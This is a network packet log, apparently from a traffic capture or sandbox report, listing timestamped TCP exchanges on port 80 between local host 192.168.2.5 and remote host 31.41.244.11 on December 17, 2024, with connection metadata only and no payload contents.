Dec 17, 2024 08:03:40.947233915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.948126078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.948179960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.948282003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.948333025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.949215889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.949266911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.949340105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.949389935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.950309992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.950366020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.950439930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.950489044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.951498032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.951559067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.951678038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.951730013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.952924967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.952977896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.953052044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.953102112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.953836918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.953936100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.953948021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.953986883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.954662085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.954715967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.954780102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.954931974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.955770016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.955826044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.955905914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.955956936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.956789017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.956892967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.956901073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.956950903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.957925081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.957993984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.958106041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.958163977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.958965063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.959017038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.959076881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.959122896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.095263004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.095304966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.095330954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.095360041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.095675945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.095724106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.095777035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.095809937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.096766949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.096807003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.096884012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.096919060 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.097875118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.097920895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.097955942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.097995043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.098939896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.098979950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.098989010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.099026918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.100378990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.100419044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.100478888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.100522041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.101115942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.101151943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.101206064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.101238966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.102247953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.102293968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.102291107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.102336884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.103288889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.103332043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.103370905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.103491068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.104393005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.104437113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.104504108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.104557037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.105607986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.105627060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.105654955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.105684042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.106513023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.106566906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.106631994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.106678009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.107614040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.107692957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.107731104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.107781887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.108694077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.108783007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.108786106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.108864069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.109803915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.109858990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.109939098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.110312939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.110841036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.110889912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.110968113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.111015081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.111929893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.111979008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.112052917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.112098932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.113035917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.113159895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.113168955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.113249063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.114103079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.114147902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.114248037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.114300013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.115255117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.115318060 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.115365982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.115418911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.116477966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.116533041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.116556883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.116585016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.117367983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.117471933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.117536068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.117599010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.118441105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.118586063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.118588924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.118647099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.119533062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.119587898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.119651079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.119703054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.120631933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.120690107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.120750904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.120798111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.121692896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.121840000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.121893883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.122786045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.122848034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.122930050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.122982979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.123863935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.123955965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.123982906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.124047995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.124939919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.124988079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.125063896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.125117064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.126023054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.126075029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.126138926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.126189947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.127127886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.127173901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.127235889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.127365112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.128186941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.128232956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.128308058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.128355026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.129285097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.129338980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.129439116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.129523993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.130372047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.130428076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.130474091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.130618095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.131458998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.131515026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.131581068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.131628036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.132838011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.132898092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.132977962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.133133888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.134511948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.134550095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.134576082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.134639978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.135061979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.135098934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.135126114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.135152102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.135775089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.135860920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.135888100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.135998011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.136847973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.136933088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.137005091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.137049913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.137933969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.137985945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.138044119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.138088942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.139012098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.139070988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.139141083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.139194012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.140361071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.140415907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.140559912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.140615940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.141194105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.141259909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.141319990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.141376972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.142257929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.142385960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.142422915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.142442942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.143346071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.143393993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.143460989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.143513918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.144427061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.144479990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.144536018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.144584894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.145514011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.145564079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.145628929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.145675898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.146589041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.146647930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.146696091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.146759033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.147670031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.147725105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.147795916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.147845984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.148742914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.148797989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.148860931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.148914099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.149842024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.149897099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.149972916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.150022984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.150902987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.150957108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.151016951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.151174068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.151963949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.152040005 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.287364960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.287430048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.287437916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.287492037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.287880898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.287946939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.287980080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.288032055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.288944006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.288997889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.288997889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.289072990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.289998055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.290071011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.290150881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.290203094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.291112900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.291191101 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.291194916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.291239023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.292171001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.292223930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.292224884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.292365074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.293253899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.293303967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.293366909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.293450117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.294375896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.294430017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.294502974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.294558048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.295471907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.295548916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.295571089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.295627117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.296494007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.296546936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.296597004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.296641111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.297586918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.297642946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.297704935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.297760963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.298666954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.298765898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.298788071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.298831940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.299747944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.299797058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.299871922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.299921036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.300873995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.300923109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.300935984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.301033020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.301922083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.301976919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.302229881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.302289963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.303010941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.303069115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.303122044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.303172112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.304080009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.304141998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.304192066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.304239988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.305156946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.305217028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.305269957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.305327892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.306226015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.306350946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.306381941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.306438923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.307306051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.307401896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.307446957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.307497025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.308372974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.308422089 CET	49900	80	192.168.2.5	31.41.244.11
